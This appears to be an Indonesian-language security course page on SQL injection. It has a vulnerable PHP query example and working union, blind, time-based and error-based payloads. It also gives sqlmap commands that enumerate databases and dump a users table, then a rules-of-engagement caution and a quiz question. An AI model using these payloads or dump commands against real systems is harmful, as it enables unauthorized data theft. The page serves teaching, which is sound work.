Apa Itu SQL Injection?
SQL Injection terjadi ketika input user dimasukkan langsung ke query SQL tanpa sanitasi. Attacker bisa memanipulasi query untuk membaca, mengubah, atau menghapus data.
Contoh Dasar
// Query RENTAN
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];
# Input normal: id=1
SELECT * FROM users WHERE id = 1
# Input jahat: id=1 OR 1=1--
SELECT * FROM users WHERE id = 1 OR 1=1-- ← Dump semua user!
Tipe SQL Injection
1. Union-Based SQLi
# Deteksi jumlah kolom
id=1 ORDER BY 1--
id=1 ORDER BY 2-- ← error = ada 1 kolom
# Ekstrak data dengan UNION
id=0 UNION SELECT 1,username,password FROM users--
2. Blind Boolean-Based
# Cek apakah vulnerable
id=1 AND 1=1-- → respons normal
id=1 AND 1=2-- → respons beda = vulnerable!
# Ekstrak data karakter per karakter
id=1 AND SUBSTRING(username,1,1)='a'--
3. Time-Based Blind
id=1 AND SLEEP(5)-- → delay 5 detik = vulnerable!
4. Error-Based
id=1 AND extractvalue(1,concat(0x7e,version()))--
sqlmap — Otomatisasi SQLi
# Basic scan
sqlmap -u "https://target.com/item?id=1"
# Dengan cookie (login)
sqlmap -u "https://target.com/item?id=1" --cookie="session=abc123"
# Dump database
sqlmap -u "https://target.com/item?id=1" --dbs
sqlmap -u "https://target.com/item?id=1" -D dbname --tables
sqlmap -u "https://target.com/item?id=1" -D dbname -T users --dump
Hati-hati sqlmap: sqlmap agresif dan bisa membuat server down atau mengekstrak data nyata. Banyak program bug bounty melarang automated scanner. Selalu baca rules of engagement sebelum menggunakan sqlmap.
// CEK PEMAHAMAN
Bagaimana cara mendeteksi time-based blind SQL injection?
AServer menampilkan error message database
BHalaman menampilkan output yang berbeda
CServer memberikan respons yang tertunda (delay) sesuai fungsi SLEEP()
DHalaman redirect ke URL lain